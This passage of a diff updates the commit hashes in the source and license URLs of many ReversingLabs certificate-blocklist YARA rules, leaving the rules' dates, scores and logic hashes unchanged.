 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L16008-L16024"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L16008-L16024"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "a160ada48048e11632082e7538459554d77d31539e53709cd897f3c454af8236"
 		score = 75
 		quality = 90
@@ -22956,8 +23009,8 @@ rule REVERSINGLABS_Cert_Blocklist_6Dc86Ebf5863568E2237B2D89582D705 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L16026-L16042"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L16026-L16042"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "f24cdf890bd0b51a83ca333c37bc22068ab1f7e7ef36b36d94a133773097bd37"
 		score = 75
 		quality = 90
@@ -22981,8 +23034,8 @@ rule REVERSINGLABS_Cert_Blocklist_214Df59Fe53874Cc011Dd45727035F51 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L16044-L16060"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L16044-L16060"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "96269f41f82621aee029f343acfce70c781bf7713588dfe78fac35a3d1d3f7cd"
 		score = 75
 		quality = 90
@@ -23006,8 +23059,8 @@ rule REVERSINGLABS_Cert_Blocklist_37Ca4F66Fdcc8732992723199859886C : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L16062-L16078"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L16062-L16078"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "190dffc36c17c27c43337d7914683b7bab3ff18a50de5278ed2a66f04b9e395d"
 		score = 75
 		quality = 90
@@ -23031,8 +23084,8 @@ rule REVERSINGLABS_Cert_Blocklist_Be2F22C152Bb218B898C4029056816A9 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L16080-L16098"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L16080-L16098"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "cd99e4d97d9a60f409cf072bbae254486c307ae3cb6e34c5cd9648c972615f36"
 		score = 75
 		quality = 90
@@ -23056,8 +23109,8 @@ rule REVERSINGLABS_Cert_Blocklist_Fc7065Abf8303Fb472B8Af85918F5C24 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L16100-L16118"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L16100-L16118"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "f57ae32d7efd9cd4c0a207897e30b871dc32405c5b9ad844c9bb7eee4827cc5a"
 		score = 75
 		quality = 90
@@ -23081,8 +23134,8 @@ rule REVERSINGLABS_Cert_Blocklist_698Ff388Adb50B88Afb832E76B0A0Ad1 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L16120-L16136"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L16120-L16136"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "b29bc69c8fd9543dba8f7d2a18d52b1bcbb8a8ae6f553d8b232ca74709b9addc"
 		score = 75
 		quality = 90
@@ -23106,8 +23159,8 @@ rule REVERSINGLABS_Cert_Blocklist_391Ae38670Ab188A5De26E07 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L16138-L16154"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L16138-L16154"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "f7ccfadab650ae3b6f950c9d1b35f86aa4a4e6c05479c014ab18881a405678f0"
 		score = 75
 		quality = 90
@@ -23131,8 +23184,8 @@ rule REVERSINGLABS_Cert_Blocklist_D08D83Ff118Df3777E371C5C482Cce7B : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L16156-L16174"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L16156-L16174"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "5fdaf01c6a23057ab976e3ad2a8b40558b16693161410b0f30d7b884de7e3985"
 		score = 75
 		quality = 90
@@ -23156,8 +23209,8 @@ rule REVERSINGLABS_Cert_Blocklist_06Ce209477F1Ac19A2049Bdc5846A831 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L16176-L16192"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L16176-L16192"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "24474c4033a8cad1690160da64b75a1eec570f56e830967256c19574bde59384"
 		score = 75
 		quality = 90
@@ -23181,8 +23234,8 @@ rule REVERSINGLABS_Cert_Blocklist_447F449121B883211663B7B7E2Ead868 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L16194-L16210"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L16194-L16210"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "f473a939d1a27cf53c09d0e4a3753a9444ae3674a55d5b0feafeef6b75dd487f"
 		score = 75
 		quality = 90
@@ -23206,8 +23259,8 @@ rule REVERSINGLABS_Cert_Blocklist_6366A9Ac97Df4De17366943C9B291Aaa : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L16212-L16228"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L16212-L16228"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "dcdfb78d4d779b1cabcdf5b2da1fa27aaa9faaed4d4967630ce45f30304fe227"
 		score = 75
 		quality = 90
@@ -23231,8 +23284,8 @@ rule REVERSINGLABS_Cert_Blocklist_66E3F0B4459F15Ac7F2A2B44990Dd709 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L16230-L16246"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L16230-L16246"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "a563f1485ae8887c46f45d1366f676894c7db55954671825b37372f786ce0d3d"
 		score = 75
 		quality = 90
@@ -23256,8 +23309,8 @@ rule REVERSINGLABS_Cert_Blocklist_610039D6349Ee531E4Caa3A65D100C7D : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L16248-L16264"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L16248-L16264"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "e6b6a90cf40283d2e4d2d9c5732a078c9f2f117e3639ab5c0dd6c5323cb7c9ff"
 		score = 75
 		quality = 90
@@ -23281,8 +23334,8 @@ rule REVERSINGLABS_Cert_Blocklist_1Caa0D0Dadf32A2404A75195Ae47820A : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L16266-L16282"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L16266-L16282"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "ab71e485c0b541fae79d246d34b1f4fb146747c1c3fb723aa87a7a32378ff974"
 		score = 75
 		quality = 90
@@ -23306,8 +23359,8 @@ rule REVERSINGLABS_Cert_Blocklist_140D2C515E8Ee9739Bb5F1B2637Dc478 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L16284-L16300"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L16284-L16300"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "e6724fe80959592c8741621ce604518d3e964cee5941257a99dda78b9c8bbdac"
 		score = 75
 		quality = 90
@@ -23331,8 +23384,8 @@ rule REVERSINGLABS_Cert_Blocklist_58015Acd501Fc9C344264Eace2Ce5730 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L16302-L16318"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L16302-L16318"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "7c1bec5059d40fc326bb08775888ed169abc746228eeb42c897f479992c5acab"
 		score = 75
 		quality = 90
@@ -23356,8 +23409,8 @@ rule REVERSINGLABS_Cert_Blocklist_0B7279068Beb15Ffe8060D2C56153C35 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L16320-L16336"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L16320-L16336"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "ca00f1adacd6ff16e54b85be38c3a4545a10c76548e0647f7f3f6cfa4dff412d"
 		score = 75
 		quality = 90
@@ -23381,8 +23434,8 @@ rule REVERSINGLABS_Cert_Blocklist_0Bc0F18Da36702E302Db170D91Dc9202 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L16338-L16354"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L16338-L16354"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "d9ee2cf63a4edb28f894ea49a5b4df9b818d5764d9a74721b1d5222f53859462"
 		score = 75
 		quality = 90
@@ -23406,8 +23459,8 @@ rule REVERSINGLABS_Cert_Blocklist_Ca9B6F49B8B41204A174C751C73Dc393 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L16356-L16374"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L16356-L16374"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "0b6558a7a1b78d471aaadced959ba91e411df50e3cc08e447fe9bd97f9e5cced"
 		score = 75
 		quality = 90
@@ -23431,8 +23484,8 @@ rule REVERSINGLABS_Cert_Blocklist_Aaf65B8E7A2E68Bc8C9E8F27331B795C : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L16376-L16394"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L16376-L16394"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "390d074da09d8e5b4bb2a6f4157a5125474ab5c22de62729d4fc4075edade289"
 		score = 75
 		quality = 90
@@ -23456,8 +23509,8 @@ rule REVERSINGLABS_Cert_Blocklist_C6Ed0Efe2844Fa44Aae350C6845C3331 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L16396-L16414"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L16396-L16414"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "5c4afcd8ceb5cc2f1df2303183ede2081b86365eeee7d4e1319a8ed9a45bbf0b"
 		score = 75
 		quality = 90
@@ -23481,8 +23534,8 @@ rule REVERSINGLABS_Cert_Blocklist_Ede6Cfbf9Fa18337B0Fdb49C1F693020 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L16416-L16434"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L16416-L16434"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "a7f18d0028cbc0001a196bc915b7881244a5833dd65f96dd7d2e8ab1b0622e0c"
 		score = 75
 		quality = 90
@@ -23506,8 +23559,8 @@ rule REVERSINGLABS_Cert_Blocklist_Eda0F47B3B38E781Cdf6Ef6Be5D3F6Ee : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L16436-L16454"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L16436-L16454"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "af3cd543a6feec3118ba4e5fdc8455584aa763bd8339f036ab332977fc0fb20e"
 		score = 75
 		quality = 90
@@ -23531,8 +23584,8 @@ rule REVERSINGLABS_Cert_Blocklist_5Da173Eb1Ac76340Ac058E1Ff4Bf5E1B : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L16456-L16472"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L16456-L16472"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "71da69fca275caead6a822e6587e0a07fc882f712afeafe18f4a595c269f6737"
 		score = 75
 		quality = 90
@@ -23556,8 +23609,8 @@ rule REVERSINGLABS_Cert_Blocklist_1380A7Ccf2Bf36Bc496B00D8 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L16474-L16490"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L16474-L16490"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "88708d7d139a9d6e92f78df460b527a1ae6a404d0bcccb801c8c8cb1263a46c6"
 		score = 75
 		quality = 90
@@ -23581,8 +23634,8 @@ rule REVERSINGLABS_Cert_Blocklist_02Eaf27E6F1575E365Fc7Fe4E0Be43F7 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L16492-L16508"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L16492-L16508"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "333a43bdfbc400727b8eae1efeb03484b959fc45ed6b8b0dd5e6a553fa27e87f"
 		score = 75
 		quality = 90
@@ -23606,8 +23659,8 @@ rule REVERSINGLABS_Cert_Blocklist_6Eb02Ac2Beb9611Ed57Eb12E : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L16510-L16526"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L16510-L16526"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "7f2a6c61ae82fec6829924d11190da776aebdd3d72c7e001fdc29b215649261c"
 		score = 75
 		quality = 90
@@ -23631,8 +23684,8 @@ rule REVERSINGLABS_Cert_Blocklist_010000000001297Dba69Dd : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L16528-L16544"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L16528-L16544"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "bbc3e740d5043d1811ff44c7366c69192fb78c95215b30fd4f4c782812ad591c"
 		score = 75
 		quality = 90
@@ -23656,8 +23709,8 @@ rule REVERSINGLABS_Cert_Blocklist_7Def22Ef4C645B1Decfb36B6D3539Dbf : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L16546-L16562"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
